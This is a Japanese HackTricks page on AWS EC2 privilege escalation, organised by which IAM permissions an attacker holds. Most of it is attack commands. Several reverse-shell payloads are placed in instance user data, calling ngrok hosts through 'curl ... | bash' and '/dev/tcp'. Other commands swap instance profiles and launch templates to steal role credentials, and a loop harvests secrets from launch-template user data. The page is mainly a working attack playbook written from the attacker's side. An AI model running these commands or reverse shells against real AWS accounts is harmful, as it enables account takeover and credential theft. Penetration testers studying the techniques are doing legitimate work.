AWS - EC2 Privesc
Reading time: 16 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
EC2
EC2に関する詳細情報は以下を確認してください:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
iam:PassRole
, ec2:RunInstances
攻撃者はIAMロールをアタッチしたインスタンスを作成し、そのインスタンスにアクセスしてメタデータエンドポイントからIAMロールの資格情報を盗むことができます。
- SSH経由でのアクセス
作成した sshキー(--key-name
)を使用して新しいインスタンスを起動し、その後sshで接続します(新しいものを作成する場合は、ec2:CreateKeyPair
の権限が必要になることがあります)。
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
- ユーザーデータによるリバースシェルへのアクセス
ユーザーデータ (--user-data
) を使用して新しいインスタンスを起動すると、リバースシェルを送信することができます。この方法ではセキュリティグループを指定する必要はありません。
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"
GuradDutyを使用する際は、インスタンスの外でIAMロールの資格情報を使用する場合に注意してください:
潜在的な影響: 既存のインスタンスプロファイルに添付された任意のEC2ロールへの直接的な権限昇格。
ECSへの権限昇格
この権限セットを使用すると、EC2インスタンスを作成し、ECSクラスター内に登録することもできます。この方法で、ECS サービスは、アクセス権のあるEC2インスタンス内で実行され、そのサービス(Dockerコンテナ)に侵入し、添付されたECSロールを盗むことができます。
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"
# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
ECSサービスをこの新しいEC2インスタンスで強制的に実行する方法を学ぶには、次を確認してください:
新しいインスタンスを作成できないが、ecs:RegisterContainerInstance
の権限がある場合、クラスタ内にインスタンスを登録し、コメントされた攻撃を実行できるかもしれません。
潜在的な影響: タスクに付随するECSロールへの直接的な権限昇格。
iam:PassRole
、 iam:AddRoleToInstanceProfile
前のシナリオと同様に、これらの権限を持つ攻撃者は侵害されたインスタンスのIAMロールを変更し、新しい資格情報を盗むことができます。
インスタンスプロファイルは1つのロールしか持てないため、インスタンスプロファイルがすでにロールを持っている(一般的なケース)場合、**iam:RemoveRoleFromInstanceProfile
**も必要です。
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
もしインスタンスプロファイルにロールがある場合、攻撃者がそれを削除できない場合、別の回避策があります。彼はロールのないインスタンスプロファイルを見つけるか、新しいものを作成することができます(iam:CreateInstanceProfile
)、そのインスタンスプロファイルにロールを追加し(前述の通り)、侵害されたインスタンスに関連付けることができます:
- インスタンスにインスタンスプロファイルがない場合(
ec2:AssociateIamInstanceProfile
)
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
潜在的影響: 別の EC2 ロールへの直接的な権限昇格 (AWS EC2 インスタンスを侵害し、いくつかの追加権限または特定のインスタンスプロファイルの状態を持っている必要があります)。
iam:PassRole
(( ec2:AssociateIamInstanceProfile
& ec2:DisassociateIamInstanceProfile
) || ec2:ReplaceIamInstanceProfileAssociation
)
これらの権限を持つことで、インスタンスに関連付けられたインスタンスプロファイルを変更することが可能です。攻撃者がすでにインスタンスにアクセスしている場合、関連付けられたインスタンスプロファイルを変更することで、より多くのインスタンスプロファイルロールの資格情報を盗むことができます。
- インスタンスプロファイルがある場合、 インスタンスプロファイルを 削除 (
ec2:DisassociateIamInstanceProfile
) し、関連付ける ことができます。
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
- または、侵害されたインスタンスのインスタンスプロファイルを置き換える(
ec2:ReplaceIamInstanceProfileAssociation
)。
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
潜在的影響: 別の EC2 ロールへの直接的な権限昇格 (AWS EC2 インスタンスを侵害し、いくつかの追加権限または特定のインスタンスプロファイルの状態を持っている必要があります)。
ec2:RequestSpotInstances
,iam:PassRole
ec2:RequestSpotInstances
およびiam:PassRole
の権限を持つ攻撃者は、EC2 ロールが付与された Spot Instance を リクエスト し、ユーザーデータ に rev shell を含めることができます。
インスタンスが実行されると、彼は IAM ロールを盗む ことができます。
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)
aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"
ec2:ModifyInstanceAttribute
ec2:ModifyInstanceAttribute
を持つ攻撃者は、インスタンスの属性を変更できます。その中で、ユーザーデータを変更することができ、これによりインスタンスが任意のデータを実行することが可能になります。これを利用して、EC2インスタンスへのリバースシェルを取得することができます。
属性はインスタンスが停止している間のみ変更できるため、ec2:StopInstances
および ec2:StartInstances
の権限が必要です。
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"
#cloud-config
cloud_final_modules:
- [scripts-user, always]
--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"
#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"
printf $TEXT | base64 > "$TEXT_PATH"
aws ec2 stop-instances --instance-ids $INSTANCE_ID
aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH
aws ec2 start-instances --instance-ids $INSTANCE_ID
潜在的影響: 作成されたインスタンスに付随する任意の EC2 IAM ロールへの直接的な特権昇格。
ec2:CreateLaunchTemplateVersion
,ec2:CreateLaunchTemplate
,ec2:ModifyLaunchTemplate
ec2:CreateLaunchTemplateVersion
,ec2:CreateLaunchTemplate
および ec2:ModifyLaunchTemplate
の権限を持つ攻撃者は、ユーザーデータにrev shellを含む新しい Launch Template バージョンを作成し、デフォルトバージョンを変更し、そのLaunch Templateを使用する任意の Autoscaler グループは、最新またはデフォルトバージョンを使用するように構成されているため、そのテンプレートを使用してインスタンスを再実行し、rev shellを実行します。
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)
aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"
aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2
潜在的な影響: 別のEC2ロールへの直接的な権限昇格。
autoscaling:CreateLaunchConfiguration
, autoscaling:CreateAutoScalingGroup
, iam:PassRole
autoscaling:CreateLaunchConfiguration
,autoscaling:CreateAutoScalingGroup
,iam:PassRole
の権限を持つ攻撃者は、IAMロールとrev shellをユーザーデータ内に含むLaunch Configurationを作成し、その設定からオートスケーリンググループを作成して、rev shellがIAMロールを盗むのを待つことができます。
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"
潜在的影響: 別のEC2ロールへの直接的な権限昇格。
!autoscaling
権限のセット ec2:CreateLaunchTemplate
と autoscaling:CreateAutoScalingGroup
は、IAMロールへの権限を昇格させるには不十分です。なぜなら、Launch ConfigurationまたはLaunch Templateで指定されたロールをアタッチするには iam:PassRole
と ec2:RunInstances
の権限が必要だからです(これは知られている権限昇格です)。
ec2-instance-connect:SendSSHPublicKey
権限 ec2-instance-connect:SendSSHPublicKey
を持つ攻撃者は、ユーザーにsshキーを追加し、それを使用してアクセスすることができます(インスタンスへのsshアクセスがある場合)または権限を昇格させることができます。
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"
潜在的な影響: 実行中のインスタンスに接続されたEC2 IAMロールへの直接的な権限昇格。
ec2-instance-connect:SendSerialConsoleSSHPublicKey
ec2-instance-connect:SendSerialConsoleSSHPublicKey
の権限を持つ攻撃者は、シリアル接続にSSHキーを追加することができます。シリアルが有効でない場合、攻撃者はそれを有効にするために**ec2:EnableSerialConsoleAccess
** の権限が必要です。
シリアルポートに接続するためには、マシン内のユーザーのユーザー名とパスワードを知っている必要があります。
aws ec2 enable-serial-console-access
aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
この方法は、悪用するためにユーザー名とパスワードを知っている必要があるため、特に役に立ちません。
潜在的な影響: (非常に証明が難しい)実行中のインスタンスに添付されたEC2 IAMロールへの直接的な権限昇格。
describe-launch-templates
,describe-launch-template-versions
起動テンプレートにはバージョン管理があるため、ec2:describe-launch-templates
および ec2:describe-launch-template-versions
の権限を持つ攻撃者は、ユーザーデータに存在する資格情報などの機密情報を発見するためにこれらを悪用することができます。これを達成するために、以下のスクリプトは利用可能な起動テンプレートのすべてのバージョンをループします:
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
echo "[*] Analyzing $i"
aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
do
echo "VersionNumber: $version"
echo "$userdata" | base64 -d
echo
done | grep -iE "aws_|password|token|api"
done
上記のコマンドでは、特定のパターン(aws_|password|token|api
)を指定していますが、他の種類の機密情報を検索するために異なる正規表現を使用することもできます。
aws_access_key_id
と aws_secret_access_key
を見つけた場合、これらの資格情報を使用してAWSに認証できます。
潜在的な影響: IAMユーザーへの直接的な権限昇格。
参考文献
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。